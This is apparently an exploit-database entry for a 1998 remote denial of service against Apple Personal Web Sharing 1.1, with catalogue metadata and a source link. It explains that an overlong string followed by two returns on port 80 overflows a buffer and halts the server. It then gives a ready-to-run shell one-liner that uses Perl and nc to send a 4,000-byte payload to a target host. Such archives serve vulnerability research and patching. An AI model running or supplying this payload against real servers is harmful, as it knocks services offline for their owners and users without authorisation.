Apple Personal Web Sharing 1.1 - Remote Denial of Service

Author: Netstat Webmaster
type: dos
platform: linux
port: 0
date_added: 1998-04-10
date_updated: 2017-11-15
verified: 1
codes: OSVDB-83451
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source: https://www.securityfocus.com/bid/84/info

There appears to be a buffer overflow in Apple's Personal Web Sharing 1.1. If you connect to its TCP port number 80 and send it a string over three thousand bytes long followed by two return characters Personal Web Sharing
will stop servicing request.

$ echo `perl -e 'print "A"x4000 . "\n\n"'` | nc target.host.com 80
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